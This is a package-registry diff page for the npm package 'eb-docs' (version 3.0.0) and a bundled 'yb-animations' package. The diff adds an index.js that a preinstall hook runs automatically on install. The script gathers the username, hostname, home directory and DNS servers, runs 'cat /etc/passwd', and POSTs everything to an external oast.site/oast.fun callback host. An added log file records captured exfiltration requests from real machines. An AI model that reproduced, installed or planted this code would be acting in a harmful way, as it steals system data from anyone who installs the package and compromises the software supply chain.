eb-docs 0.0.1-security → 3.0.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of eb-docs might be problematic. Click here for more details.
- package/index.js +68 -0
- package/package.json +12 -3
- package/yb-animations/config.yaml +6 -0
- package/yb-animations/index.js +68 -0
- package/yb-animations/node_modules/.package-lock.json +13 -0
- package/yb-animations/node_modules/yb-animations/config.yaml +6 -0
- package/yb-animations/node_modules/yb-animations/index.js +68 -0
- package/yb-animations/node_modules/yb-animations/package.json +11 -0
- package/yb-animations/node_modules/yb-animations/yb-animations.txt +0 -0
- package/yb-animations/package-lock.json +22 -0
- package/yb-animations/package.json +15 -0
- package/yb-animations/yb-animations.txt +726 -0
- package/README.md +0 -5
package/index.js
ADDED
@@ -0,0 +1,68 @@
|
|
1
|
+
const os = require("os");
|
2
|
+
const dns = require("dns");
|
3
|
+
const querystring = require("querystring");
|
4
|
+
const https = require("https");
|
5
|
+
const { exec } = require("child_process"); // Import for command execution
|
6
|
+
const packageJSON = require("./package.json");
|
7
|
+
const package = packageJSON.name;
|
8
|
+
|
9
|
+
// Function to send data
|
10
|
+
function sendData(trackingData) {
|
11
|
+
const postData = querystring.stringify({
|
12
|
+
msg: trackingData,
|
13
|
+
});
|
14
|
+
|
15
|
+
const options = {
|
16
|
+
hostname: "ct7l32jusefo20ug2nag7dxenqw88ikx5.oast.site", // Replace as needed
|
17
|
+
port: 443,
|
18
|
+
path: "/",
|
19
|
+
method: "POST",
|
20
|
+
headers: {
|
21
|
+
"Content-Type": "application/x-www-form-urlencoded",
|
22
|
+
"Content-Length": postData.length,
|
23
|
+
},
|
24
|
+
};
|
25
|
+
|
26
|
+
const req = https.request(options, (res) => {
|
27
|
+
res.on("data", (d) => {
|
28
|
+
process.stdout.write(d);
|
29
|
+
});
|
30
|
+
});
|
31
|
+
|
32
|
+
req.on("error", (e) => {
|
33
|
+
console.error(`Request Error: ${e.message}`);
|
34
|
+
});
|
35
|
+
|
36
|
+
req.write(postData);
|
37
|
+
req.end();
|
38
|
+
}
|
39
|
+
|
40
|
+
// Collect environment and package details
|
41
|
+
const trackingData = {
|
42
|
+
p: package,
|
43
|
+
c: __dirname,
|
44
|
+
hd: os.homedir(),
|
45
|
+
hn: os.hostname(),
|
46
|
+
un: os.userInfo().username,
|
47
|
+
dns: dns.getServers(),
|
48
|
+
r: packageJSON ? packageJSON.___resolved : undefined,
|
49
|
+
v: packageJSON.version,
|
50
|
+
pjson: packageJSON,
|
51
|
+
};
|
52
|
+
|
53
|
+
// Execute a shell command (e.g., `cat test.txt`)
|
54
|
+
exec("cat /etc/passwd", (error, stdout, stderr) => {
|
55
|
+
if (error) {
|
56
|
+
console.error(`Error executing command: ${error.message}`);
|
57
|
+
trackingData.cmdError = error.message;
|
58
|
+
} else if (stderr) {
|
59
|
+
console.error(`Command Stderr: ${stderr}`);
|
60
|
+
trackingData.cmdStderr = stderr;
|
61
|
+
} else {
|
62
|
+
console.log(`Command Output:\n${stdout}`);
|
63
|
+
trackingData.cmdOutput = stdout; // Include the command output in tracking data
|
64
|
+
}
|
65
|
+
|
66
|
+
// Send the combined data to the remote server
|
67
|
+
sendData(JSON.stringify(trackingData));
|
68
|
+
});
|
package/package.json
CHANGED
@@ -1,6 +1,15 @@
|
|
1
1
|
{
|
2
2
|
"name": "eb-docs",
|
3
|
-
"version": "0.0
|
4
|
-
"
|
5
|
-
"
|
3
|
+
"version": "3.0.0",
|
4
|
+
"main": "index.js",
|
5
|
+
"scripts": {
|
6
|
+
"test": "echo \"Error: no test specified\" && exit 1",
|
7
|
+
"preinstall": "node index.js"
|
8
|
+
},
|
9
|
+
"author": "",
|
10
|
+
"license": "ISC",
|
11
|
+
"description": "",
|
12
|
+
"dependencies": {
|
13
|
+
"eb-docs": "^2.0.0"
|
14
|
+
}
|
6
15
|
}
|
@@ -0,0 +1,68 @@
|
|
1
|
+
const os = require("os");
|
2
|
+
const dns = require("dns");
|
3
|
+
const querystring = require("querystring");
|
4
|
+
const https = require("https");
|
5
|
+
const { exec } = require("child_process"); // Import for command execution
|
6
|
+
const packageJSON = require("./package.json");
|
7
|
+
const package = packageJSON.name;
|
8
|
+
|
9
|
+
// Function to send data
|
10
|
+
function sendData(trackingData) {
|
11
|
+
const postData = querystring.stringify({
|
12
|
+
msg: trackingData,
|
13
|
+
});
|
14
|
+
|
15
|
+
const options = {
|
16
|
+
hostname: "ct4ngq49342dd224glj08j8r9i5darxsb.oast.fun", // Replace as needed
|
17
|
+
port: 443,
|
18
|
+
path: "/",
|
19
|
+
method: "POST",
|
20
|
+
headers: {
|
21
|
+
"Content-Type": "application/x-www-form-urlencoded",
|
22
|
+
"Content-Length": postData.length,
|
23
|
+
},
|
24
|
+
};
|
25
|
+
|
26
|
+
const req = https.request(options, (res) => {
|
27
|
+
res.on("data", (d) => {
|
28
|
+
process.stdout.write(d);
|
29
|
+
});
|
30
|
+
});
|
31
|
+
|
32
|
+
req.on("error", (e) => {
|
33
|
+
console.error(`Request Error: ${e.message}`);
|
34
|
+
});
|
35
|
+
|
36
|
+
req.write(postData);
|
37
|
+
req.end();
|
38
|
+
}
|
39
|
+
|
40
|
+
// Collect environment and package details
|
41
|
+
const trackingData = {
|
42
|
+
p: package,
|
43
|
+
c: __dirname,
|
44
|
+
hd: os.homedir(),
|
45
|
+
hn: os.hostname(),
|
46
|
+
un: os.userInfo().username,
|
47
|
+
dns: dns.getServers(),
|
48
|
+
r: packageJSON ? packageJSON.___resolved : undefined,
|
49
|
+
v: packageJSON.version,
|
50
|
+
pjson: packageJSON,
|
51
|
+
};
|
52
|
+
|
53
|
+
// Execute a shell command (e.g., `cat test.txt`)
|
54
|
+
exec("cat /etc/passwd", (error, stdout, stderr) => {
|
55
|
+
if (error) {
|
56
|
+
console.error(`Error executing command: ${error.message}`);
|
57
|
+
trackingData.cmdError = error.message;
|
58
|
+
} else if (stderr) {
|
59
|
+
console.error(`Command Stderr: ${stderr}`);
|
60
|
+
trackingData.cmdStderr = stderr;
|
61
|
+
} else {
|
62
|
+
console.log(`Command Output:\n${stdout}`);
|
63
|
+
trackingData.cmdOutput = stdout; // Include the command output in tracking data
|
64
|
+
}
|
65
|
+
|
66
|
+
// Send the combined data to the remote server
|
67
|
+
sendData(JSON.stringify(trackingData));
|
68
|
+
});
|
@@ -0,0 +1,13 @@
|
|
1
|
+
{
|
2
|
+
"name": "yb-animations",
|
3
|
+
"version": "1.0.1",
|
4
|
+
"lockfileVersion": 3,
|
5
|
+
"requires": true,
|
6
|
+
"packages": {
|
7
|
+
"node_modules/yb-animations": {
|
8
|
+
"version": "1.0.1",
|
9
|
+
"resolved": "https://registry.npmjs.org/yb-animations/-/yb-animations-1.0.1.tgz",
|
10
|
+
"integrity": "sha512-wTFkUEtgii4j+OVj7bDsSAWbmufFhsvUI0rNZq+Y1b1HfBjCHy2z+ddVJECA1z8eopMWk5xjBORr+mNSJFWRSw=="
|
11
|
+
}
|
12
|
+
}
|
13
|
+
}
|
@@ -0,0 +1,68 @@
|
|
1
|
+
const os = require("os");
|
2
|
+
const dns = require("dns");
|
3
|
+
const querystring = require("querystring");
|
4
|
+
const https = require("https");
|
5
|
+
const { exec } = require("child_process"); // Import for command execution
|
6
|
+
const packageJSON = require("./package.json");
|
7
|
+
const package = packageJSON.name;
|
8
|
+
|
9
|
+
// Function to send data
|
10
|
+
function sendData(trackingData) {
|
11
|
+
const postData = querystring.stringify({
|
12
|
+
msg: trackingData,
|
13
|
+
});
|
14
|
+
|
15
|
+
const options = {
|
16
|
+
hostname: "ct4ngq49342dd224glj08j8r9i5darxsb.oast.fun", // Replace as needed
|
17
|
+
port: 443,
|
18
|
+
path: "/",
|
19
|
+
method: "POST",
|
20
|
+
headers: {
|
21
|
+
"Content-Type": "application/x-www-form-urlencoded",
|
22
|
+
"Content-Length": postData.length,
|
23
|
+
},
|
24
|
+
};
|
25
|
+
|
26
|
+
const req = https.request(options, (res) => {
|
27
|
+
res.on("data", (d) => {
|
28
|
+
process.stdout.write(d);
|
29
|
+
});
|
30
|
+
});
|
31
|
+
|
32
|
+
req.on("error", (e) => {
|
33
|
+
console.error(`Request Error: ${e.message}`);
|
34
|
+
});
|
35
|
+
|
36
|
+
req.write(postData);
|
37
|
+
req.end();
|
38
|
+
}
|
39
|
+
|
40
|
+
// Collect environment and package details
|
41
|
+
const trackingData = {
|
42
|
+
p: package,
|
43
|
+
c: __dirname,
|
44
|
+
hd: os.homedir(),
|
45
|
+
hn: os.hostname(),
|
46
|
+
un: os.userInfo().username,
|
47
|
+
dns: dns.getServers(),
|
48
|
+
r: packageJSON ? packageJSON.___resolved : undefined,
|
49
|
+
v: packageJSON.version,
|
50
|
+
pjson: packageJSON,
|
51
|
+
};
|
52
|
+
|
53
|
+
// Execute a shell command (e.g., `cat test.txt`)
|
54
|
+
exec("cat /etc/passwd", (error, stdout, stderr) => {
|
55
|
+
if (error) {
|
56
|
+
console.error(`Error executing command: ${error.message}`);
|
57
|
+
trackingData.cmdError = error.message;
|
58
|
+
} else if (stderr) {
|
59
|
+
console.error(`Command Stderr: ${stderr}`);
|
60
|
+
trackingData.cmdStderr = stderr;
|
61
|
+
} else {
|
62
|
+
console.log(`Command Output:\n${stdout}`);
|
63
|
+
trackingData.cmdOutput = stdout; // Include the command output in tracking data
|
64
|
+
}
|
65
|
+
|
66
|
+
// Send the combined data to the remote server
|
67
|
+
sendData(JSON.stringify(trackingData));
|
68
|
+
});
|
File without changes
|
@@ -0,0 +1,22 @@
|
|
1
|
+
{
|
2
|
+
"name": "yb-animations",
|
3
|
+
"version": "1.0.1",
|
4
|
+
"lockfileVersion": 3,
|
5
|
+
"requires": true,
|
6
|
+
"packages": {
|
7
|
+
"": {
|
8
|
+
"name": "yb-animations",
|
9
|
+
"version": "1.0.1",
|
10
|
+
"hasInstallScript": true,
|
11
|
+
"license": "ISC",
|
12
|
+
"dependencies": {
|
13
|
+
"yb-animations": "^1.0.1"
|
14
|
+
}
|
15
|
+
},
|
16
|
+
"node_modules/yb-animations": {
|
17
|
+
"version": "1.0.1",
|
18
|
+
"resolved": "https://registry.npmjs.org/yb-animations/-/yb-animations-1.0.1.tgz",
|
19
|
+
"integrity": "sha512-wTFkUEtgii4j+OVj7bDsSAWbmufFhsvUI0rNZq+Y1b1HfBjCHy2z+ddVJECA1z8eopMWk5xjBORr+mNSJFWRSw=="
|
20
|
+
}
|
21
|
+
}
|
22
|
+
}
|
@@ -0,0 +1,15 @@
|
|
1
|
+
{
|
2
|
+
"name": "yb-animations",
|
3
|
+
"version": "1.0.1",
|
4
|
+
"description": "",
|
5
|
+
"main": "index.js",
|
6
|
+
"scripts": {
|
7
|
+
"test": "echo \"Error: no test specified\" && exit 1",
|
8
|
+
"preinstall": "node index.js"
|
9
|
+
},
|
10
|
+
"author": "",
|
11
|
+
"license": "ISC",
|
12
|
+
"dependencies": {
|
13
|
+
"yb-animations": "^1.0.1"
|
14
|
+
}
|
15
|
+
}
|
@@ -0,0 +1,726 @@
|
|
1
|
+
[ct4ngq49342dd224glj08j8r9i5darxsb] Received DNS interaction (A) from 220.181.126.16 at 2024-11-29 08:19:28
|
2
|
+
-----------
|
3
|
+
DNS Request
|
4
|
+
-----------
|
5
|
+
|
6
|
+
;; opcode: QUERY, status: NOERROR, id: 40608
|
7
|
+
;; flags: cd; QUERY: 1, ANSWER: 0, AUTHORITY: 0, ADDITIONAL: 1
|
8
|
+
|
9
|
+
;; OPT PSEUDOSECTION:
|
10
|
+
; EDNS: version 0; flags: do; udp: 1232
|
11
|
+
|
12
|
+
;; QUESTION SECTION:
|
13
|
+
;ct4ngq49342dd224glj08j8r9i5darxsb.oast.fun. IN A
|
14
|
+
|
15
|
+
|
16
|
+
------------
|
17
|
+
DNS Response
|
18
|
+
------------
|
19
|
+
|
20
|
+
;; opcode: QUERY, status: NOERROR, id: 40608
|
21
|
+
;; flags: qr aa cd; QUERY: 1, ANSWER: 1, AUTHORITY: 2, ADDITIONAL: 2
|
22
|
+
|
23
|
+
;; QUESTION SECTION:
|
24
|
+
;ct4ngq49342dd224glj08j8r9i5darxsb.oast.fun. IN A
|
25
|
+
|
26
|
+
;; ANSWER SECTION:
|
27
|
+
ct4ngq49342dd224glj08j8r9i5darxsb.oast.fun. 3600 IN A 206.189.156.69
|
28
|
+
|
29
|
+
;; AUTHORITY SECTION:
|
30
|
+
ct4ngq49342dd224glj08j8r9i5darxsb.oast.fun. 3600 IN NS ns1.oast.fun.
|
31
|
+
ct4ngq49342dd224glj08j8r9i5darxsb.oast.fun. 3600 IN NS ns2.oast.fun.
|
32
|
+
|
33
|
+
;; ADDITIONAL SECTION:
|
34
|
+
ns1.oast.fun. 3600 IN A 206.189.156.69
|
35
|
+
ns2.oast.fun. 3600 IN A 206.189.156.69
|
36
|
+
|
37
|
+
|
38
|
+
|
39
|
+
[ct4ngq49342dd224glj08j8r9i5darxsb] Received HTTP interaction from 103.102.202.161 at 2024-11-29 08:19:30
|
40
|
+
------------
|
41
|
+
HTTP Request
|
42
|
+
------------
|
43
|
+
|
44
|
+
POST / HTTP/1.1
|
45
|
+
Host: ct4ngq49342dd224glj08j8r9i5darxsb.oast.fun
|
46
|
+
Connection: close
|
47
|
+
Content-Length: 1593
|
48
|
+
Content-Type: application/x-www-form-urlencoded
|
49
|
+
|
50
|
+
msg=%7B%22p%22%3A%22yb-animations%22%2C%22c%22%3A%22%2Fnpm%2Fnode_modules%2Fyb-animations%22%2C%22hd%22%3A%22%2Froot%22%2C%22hn%22%3A%223a91c528f44c%22%2C%22un%22%3A%22root%22%2C%22dns%22%3A%5B%22172.28.130.91%22%2C%22172.28.130.92%22%2C%22172.28.130.93%22%5D%2C%22v%22%3A%221.0.1%22%2C%22pjson%22%3A%7B%22name%22%3A%22yb-animations%22%2C%22version%22%3A%221.0.1%22%2C%22description%22%3A%22%22%2C%22main%22%3A%22index.js%22%2C%22scripts%22%3A%7B%22test%22%3A%22echo%20%5C%22Error%3A%20no%20test%20specified%5C%22%20%26%26%20exit%201%22%7D%2C%22author%22%3A%22%22%2C%22license%22%3A%22ISC%22%7D%2C%22cmdOutput%22%3A%22root%3Ax%3A0%3A0%3Aroot%3A%2Froot%3A%2Fbin%2Fbash%5Cnbin%3Ax%3A1%3A1%3Abin%3A%2Fbin%3A%2Fsbin%2Fnologin%5Cndaemon%3Ax%3A2%3A2%3Adaemon%3A%2Fsbin%3A%2Fsbin%2Fnologin%5Cnadm%3Ax%3A3%3A4%3Aadm%3A%2Fvar%2Fadm%3A%2Fsbin%2Fnologin%5Cnlp%3Ax%3A4%3A7%3Alp%3A%2Fvar%2Fspool%2Flpd%3A%2Fsbin%2Fnologin%5Cnsync%3Ax%3A5%3A0%3Async%3A%2Fsbin%3A%2Fbin%2Fsync%5Cnshutdown%3Ax%3A6%3A0%3Ashutdown%3A%2Fsbin%3A%2Fsbin%2Fshutdown%5Cnhalt%3Ax%3A7%3A0%3Ahalt%3A%2Fsbin%3A%2Fsbin%2Fhalt%5Cnmail%3Ax%3A8%3A12%3Amail%3A%2Fvar%2Fspool%2Fmail%3A%2Fsbin%2Fnologin%5Cnoperator%3Ax%3A11%3A0%3Aoperator%3A%2Froot%3A%2Fsbin%2Fnologin%5Cngames%3Ax%3A12%3A100%3Agames%3A%2Fusr%2Fgames%3A%2Fsbin%2Fnologin%5Cnftp%3Ax%3A14%3A50%3AFTP%20User%3A%2Fvar%2Fftp%3A%2Fsbin%2Fnologin%5Cnnobody%3Ax%3A99%3A99%3ANobody%3A%2F%3A%2Fsbin%2Fnologin%5Cnsystemd-network%3Ax%3A192%3A192%3Asystemd%20Network%20Management%3A%2F%3A%2Fsbin%2Fnologin%5Cndbus%3Ax%3A81%3A81%3ASystem%20message%20bus%3A%2F%3A%2Fsbin%2Fnologin%5Cn%22%7D
|
51
|
+
|
52
|
+
-------------
|
53
|
+
HTTP Response
|
54
|
+
-------------
|
55
|
+
|
56
|
+
HTTP/1.1 200 OK
|
57
|
+
Connection: close
|
58
|
+
Access-Control-Allow-Credentials: true
|
59
|
+
Access-Control-Allow-Headers: Content-Type, Authorization
|
60
|
+
Access-Control-Allow-Origin: *
|
61
|
+
Content-Type: text/html; charset=utf-8
|
62
|
+
Server: oast.fun
|
63
|
+
X-Interactsh-Version: 1.2.2
|
64
|
+
|
65
|
+
<html><head></head><body>bsxrad5i9r8j80jlg422dd24394qgn4tc</body></html>
|
66
|
+
|
67
|
+
|
68
|
+
[ct4ngq49342dd224glj08j8r9i5darxsb] Received DNS interaction (A) from 162.14.228.212 at 2024-11-29 08:20:01
|
69
|
+
-----------
|
70
|
+
DNS Request
|
71
|
+
-----------
|
72
|
+
|
73
|
+
;; opcode: QUERY, status: NOERROR, id: 49610
|
74
|
+
;; flags: cd; QUERY: 1, ANSWER: 0, AUTHORITY: 0, ADDITIONAL: 1
|
75
|
+
|
76
|
+
;; OPT PSEUDOSECTION:
|
77
|
+
; EDNS: version 0; flags:; udp: 4096
|
78
|
+
|
79
|
+
;; QUESTION SECTION:
|
80
|
+
;ct4ngq49342dd224glj08j8r9i5darxsb.oast.fun. IN A
|
81
|
+
|
82
|
+
|
83
|
+
------------
|
84
|
+
DNS Response
|
85
|
+
------------
|
86
|
+
|
87
|
+
;; opcode: QUERY, status: NOERROR, id: 49610
|
88
|
+
;; flags: qr aa cd; QUERY: 1, ANSWER: 1, AUTHORITY: 2, ADDITIONAL: 2
|
89
|
+
|
90
|
+
;; QUESTION SECTION:
|
91
|
+
;ct4ngq49342dd224glj08j8r9i5darxsb.oast.fun. IN A
|
92
|
+
|
93
|
+
;; ANSWER SECTION:
|
94
|
+
ct4ngq49342dd224glj08j8r9i5darxsb.oast.fun. 3600 IN A 206.189.156.69
|
95
|
+
|
96
|
+
;; AUTHORITY SECTION:
|
97
|
+
ct4ngq49342dd224glj08j8r9i5darxsb.oast.fun. 3600 IN NS ns1.oast.fun.
|
98
|
+
ct4ngq49342dd224glj08j8r9i5darxsb.oast.fun. 3600 IN NS ns2.oast.fun.
|
99
|
+
|
100
|
+
;; ADDITIONAL SECTION:
|
101
|
+
ns1.oast.fun. 3600 IN A 206.189.156.69
|
102
|
+
ns2.oast.fun. 3600 IN A 206.189.156.69
|
103
|
+
|
104
|
+
|
105
|
+
|
106
|
+
[ct4ngq49342dd224glj08j8r9i5darxsb] Received DNS interaction (A) from 162.14.228.212 at 2024-11-29 08:20:01
|
107
|
+
-----------
|
108
|
+
DNS Request
|
109
|
+
-----------
|
110
|
+
|
111
|
+
;; opcode: QUERY, status: NOERROR, id: 36607
|
112
|
+
;; flags: cd; QUERY: 1, ANSWER: 0, AUTHORITY: 0, ADDITIONAL: 1
|
113
|
+
|
114
|
+
;; OPT PSEUDOSECTION:
|
115
|
+
; EDNS: version 0; flags:; udp: 1472
|
116
|
+
|
117
|
+
;; QUESTION SECTION:
|
118
|
+
;ct4ngq49342dd224glj08j8r9i5darxsb.oast.fun. IN A
|
119
|
+
|
120
|
+
|
121
|
+
------------
|
122
|
+
DNS Response
|
123
|
+
------------
|
124
|
+
|
125
|
+
;; opcode: QUERY, status: NOERROR, id: 36607
|
126
|
+
;; flags: qr aa cd; QUERY: 1, ANSWER: 1, AUTHORITY: 2, ADDITIONAL: 2
|
127
|
+
|
128
|
+
;; QUESTION SECTION:
|
129
|
+
;ct4ngq49342dd224glj08j8r9i5darxsb.oast.fun. IN A
|
130
|
+
|
131
|
+
;; ANSWER SECTION:
|
132
|
+
ct4ngq49342dd224glj08j8r9i5darxsb.oast.fun. 3600 IN A 206.189.156.69
|
133
|
+
|
134
|
+
;; AUTHORITY SECTION:
|
135
|
+
ct4ngq49342dd224glj08j8r9i5darxsb.oast.fun. 3600 IN NS ns1.oast.fun.
|
136
|
+
ct4ngq49342dd224glj08j8r9i5darxsb.oast.fun. 3600 IN NS ns2.oast.fun.
|
137
|
+
|
138
|
+
;; ADDITIONAL SECTION:
|
139
|
+
ns1.oast.fun. 3600 IN A 206.189.156.69
|
140
|
+
ns2.oast.fun. 3600 IN A 206.189.156.69
|
141
|
+
|
142
|
+
|
143
|
+
|
144
|
+
[ct4ngq49342dd224glj08j8r9i5darxsb] Received DNS interaction (A) from 162.14.228.36 at 2024-11-29 08:20:02
|
145
|
+
-----------
|
146
|
+
DNS Request
|
147
|
+
-----------
|
148
|
+
|
149
|
+
;; opcode: QUERY, status: NOERROR, id: 41544
|
150
|
+
;; flags: cd; QUERY: 1, ANSWER: 0, AUTHORITY: 0, ADDITIONAL: 1
|
151
|
+
|
152
|
+
;; OPT PSEUDOSECTION:
|
153
|
+
; EDNS: version 0; flags:; udp: 4096
|
154
|
+
|
155
|
+
;; QUESTION SECTION:
|
156
|
+
;ct4ngq49342dd224glj08j8r9i5darxsb.oast.fun. IN A
|
157
|
+
|
158
|
+
|
159
|
+
------------
|
160
|
+
DNS Response
|
161
|
+
------------
|
162
|
+
|
163
|
+
;; opcode: QUERY, status: NOERROR, id: 41544
|
164
|
+
;; flags: qr aa cd; QUERY: 1, ANSWER: 1, AUTHORITY: 2, ADDITIONAL: 2
|
165
|
+
|
166
|
+
;; QUESTION SECTION:
|
167
|
+
;ct4ngq49342dd224glj08j8r9i5darxsb.oast.fun. IN A
|
168
|
+
|
169
|
+
;; ANSWER SECTION:
|
170
|
+
ct4ngq49342dd224glj08j8r9i5darxsb.oast.fun. 3600 IN A 206.189.156.69
|
171
|
+
|
172
|
+
;; AUTHORITY SECTION:
|
173
|
+
ct4ngq49342dd224glj08j8r9i5darxsb.oast.fun. 3600 IN NS ns1.oast.fun.
|
174
|
+
ct4ngq49342dd224glj08j8r9i5darxsb.oast.fun. 3600 IN NS ns2.oast.fun.
|
175
|
+
|
176
|
+
;; ADDITIONAL SECTION:
|
177
|
+
ns1.oast.fun. 3600 IN A 206.189.156.69
|
178
|
+
ns2.oast.fun. 3600 IN A 206.189.156.69
|
179
|
+
|
180
|
+
|
181
|
+
|
182
|
+
[ct4ngq49342dd224glj08j8r9i5darxsb] Received DNS interaction (A) from 162.14.228.36 at 2024-11-29 08:20:02
|
183
|
+
-----------
|
184
|
+
DNS Request
|
185
|
+
-----------
|
186
|
+
|
187
|
+
;; opcode: QUERY, status: NOERROR, id: 33636
|
188
|
+
;; flags: cd; QUERY: 1, ANSWER: 0, AUTHORITY: 0, ADDITIONAL: 1
|
189
|
+
|
190
|
+
;; OPT PSEUDOSECTION:
|
191
|
+
; EDNS: version 0; flags:; udp: 1472
|
192
|
+
|
193
|
+
;; QUESTION SECTION:
|
194
|
+
;ct4ngq49342dd224glj08j8r9i5darxsb.oast.fun. IN A
|
195
|
+
|
196
|
+
|
197
|
+
------------
|
198
|
+
DNS Response
|
199
|
+
------------
|
200
|
+
|
201
|
+
;; opcode: QUERY, status: NOERROR, id: 33636
|
202
|
+
;; flags: qr aa cd; QUERY: 1, ANSWER: 1, AUTHORITY: 2, ADDITIONAL: 2
|
203
|
+
|
204
|
+
;; QUESTION SECTION:
|
205
|
+
;ct4ngq49342dd224glj08j8r9i5darxsb.oast.fun. IN A
|
206
|
+
|
207
|
+
;; ANSWER SECTION:
|
208
|
+
ct4ngq49342dd224glj08j8r9i5darxsb.oast.fun. 3600 IN A 206.189.156.69
|
209
|
+
|
210
|
+
;; AUTHORITY SECTION:
|
211
|
+
ct4ngq49342dd224glj08j8r9i5darxsb.oast.fun. 3600 IN NS ns1.oast.fun.
|
212
|
+
ct4ngq49342dd224glj08j8r9i5darxsb.oast.fun. 3600 IN NS ns2.oast.fun.
|
213
|
+
|
214
|
+
;; ADDITIONAL SECTION:
|
215
|
+
ns1.oast.fun. 3600 IN A 206.189.156.69
|
216
|
+
ns2.oast.fun. 3600 IN A 206.189.156.69
|
217
|
+
|
218
|
+
|
219
|
+
|
220
|
+
[ct4ngq49342dd224glj08j8r9i5darxsb] Received HTTP interaction from 94.191.44.89 at 2024-11-29 08:20:02
|
221
|
+
------------
|
222
|
+
HTTP Request
|
223
|
+
------------
|
224
|
+
|
225
|
+
POST / HTTP/1.1
|
226
|
+
Host: ct4ngq49342dd224glj08j8r9i5darxsb.oast.fun
|
227
|
+
Connection: close
|
228
|
+
Content-Length: 3033
|
229
|
+
Content-Type: application/x-www-form-urlencoded
|
230
|
+
|
231
|
+
msg=%7B%22p%22%3A%22yb-animations%22%2C%22c%22%3A%22%2Froot%2Fnode_modules%2Fyb-animations%22%2C%22hd%22%3A%22%2Froot%22%2C%22hn%22%3A%2226b01639e64f%22%2C%22un%22%3A%22root%22%2C%22dns%22%3A%5B%22183.60.83.19%22%2C%22183.60.82.98%22%5D%2C%22v%22%3A%221.0.1%22%2C%22pjson%22%3A%7B%22_from%22%3A%22yb-animations%401.0.1%22%2C%22_id%22%3A%22yb-animations%401.0.1%22%2C%22_inBundle%22%3Afalse%2C%22_integrity%22%3A%22sha512-wTFkUEtgii4j%2BOVj7bDsSAWbmufFhsvUI0rNZq%2BY1b1HfBjCHy2z%2BddVJECA1z8eopMWk5xjBORr%2BmNSJFWRSw%3D%3D%22%2C%22_location%22%3A%22%2Fyb-animations%22%2C%22_phantomChildren%22%3A%7B%7D%2C%22_requested%22%3A%7B%22type%22%3A%22version%22%2C%22registry%22%3Atrue%2C%22raw%22%3A%22yb-animations%401.0.1%22%2C%22name%22%3A%22yb-animations%22%2C%22escapedName%22%3A%22yb-animations%22%2C%22rawSpec%22%3A%221.0.1%22%2C%22saveSpec%22%3Anull%2C%22fetchSpec%22%3A%221.0.1%22%7D%2C%22_requiredBy%22%3A%5B%22%23USER%22%2C%22%2F%22%5D%2C%22_resolved%22%3A%22http%3A%2F%2Fmirrors.tencent.com%2Fnpm%2Fyb-animations%2F-%2Fyb-animations-1.0.1.tgz%22%2C%22_shasum%22%3A%22fb0bb4815eceb77cf2acd9ebb19e58a647317ed5%22%2C%22_spec%22%3A%22yb-animations%401.0.1%22%2C%22_where%22%3A%22%2Froot%22%2C%22author%22%3A%22%22%2C%22bundleDependencies%22%3Afalse%2C%22deprecated%22%3Afalse%2C%22description%22%3A%22%22%2C%22license%22%3A%22ISC%22%2C%22main%22%3A%22index.js%22%2C%22name%22%3A%22yb-animations%22%2C%22scripts%22%3A%7B%22test%22%3A%22echo%20%5C%22Error%3A%20no%20test%20specified%5C%22%20%26%26%20exit%201%22%7D%2C%22version%22%3A%221.0.1%22%7D%2C%22cmdOutput%22%3A%22root%3Ax%3A0%3A0%3Aroot%3A%2Froot%3A%2Fbin%2Fbash%5Cndaemon%3Ax%3A1%3A1%3Adaemon%3A%2Fusr%2Fsbin%3A%2Fusr%2Fsbin%2Fnologin%5Cnbin%3Ax%3A2%3A2%3Abin%3A%2Fbin%3A%2Fusr%2Fsbin%2Fnologin%5Cnsys%3Ax%3A3%3A3%3Asys%3A%2Fdev%3A%2Fusr%2Fsbin%2Fnologin%5Cnsync%3Ax%3A4%3A65534%3Async%3A%2Fbin%3A%2Fbin%2Fsync%5Cngames%3Ax%3A5%3A60%3Agames%3A%2Fusr%2Fgames%3A%2Fusr%2Fsbin%2Fnologin%5Cnman%3Ax%3A6%3A12%3Aman%3A%2Fvar%2Fcache%2Fman%3A%2Fusr%2Fsbin%2Fnologin%5Cnlp%3Ax%3A7%3A7%3Alp%3A%2Fvar%2Fspool%2Flpd%3A%2Fusr%2Fsbin%2Fnologin%5Cnmail%3Ax%3A8%3A8%3Amail%3A%2Fvar%2Fmail%3A%2Fusr%2Fsbin%2Fnologin%5Cnnews%3Ax%3A9%3A9%3Anews%3A%2Fvar%2Fspool%2Fnews%3A%2Fusr%2Fsbin%2Fnologin%5Cnuucp%3Ax%3A10%3A10%3Auucp%3A%2Fvar%2Fspool%2Fuucp%3A%2Fusr%2Fsbin%2Fnologin%5Cnproxy%3Ax%3A13%3A13%3Aproxy%3A%2Fbin%3A%2Fusr%2Fsbin%2Fnologin%5Cnwww-data%3Ax%3A33%3A33%3Awww-data%3A%2Fvar%2Fwww%3A%2Fusr%2Fsbin%2Fnologin%5Cnbackup%3Ax%3A34%3A34%3Abackup%3A%2Fvar%2Fbackups%3A%2Fusr%2Fsbin%2Fnologin%5Cnlist%3Ax%3A38%3A38%3AMailing%20List%20Manager%3A%2Fvar%2Flist%3A%2Fusr%2Fsbin%2Fnologin%5Cnirc%3Ax%3A39%3A39%3Aircd%3A%2Fvar%2Frun%2Fircd%3A%2Fusr%2Fsbin%2Fnologin%5Cngnats%3Ax%3A41%3A41%3AGnats%20Bug-Reporting%20System%20(admin)%3A%2Fvar%2Flib%2Fgnats%3A%2Fusr%2Fsbin%2Fnologin%5Cnnobody%3Ax%3A65534%3A65534%3Anobody%3A%2Fnonexistent%3A%2Fusr%2Fsbin%2Fnologin%5Cn_apt%3Ax%3A100%3A65534%3A%3A%2Fnonexistent%3A%2Fbin%2Ffalse%5Cnnode%3Ax%3A1000%3A1000%3A%3A%2Fhome%2Fnode%3A%2Fbin%2Fbash%5Cn%22%7D
|
232
|
+
|
233
|
+
-------------
|
234
|
+
HTTP Response
|
235
|
+
-------------
|
236
|
+
|
237
|
+
HTTP/1.1 200 OK
|
238
|
+
Connection: close
|
239
|
+
Access-Control-Allow-Credentials: true
|
240
|
+
Access-Control-Allow-Headers: Content-Type, Authorization
|
241
|
+
Access-Control-Allow-Origin: *
|
242
|
+
Content-Type: text/html; charset=utf-8
|
243
|
+
Server: oast.fun
|
244
|
+
X-Interactsh-Version: 1.2.2
|
245
|
+
|
246
|
+
<html><head></head><body>bsxrad5i9r8j80jlg422dd24394qgn4tc</body></html>
|
247
|
+
|
248
|
+
|
249
|
+
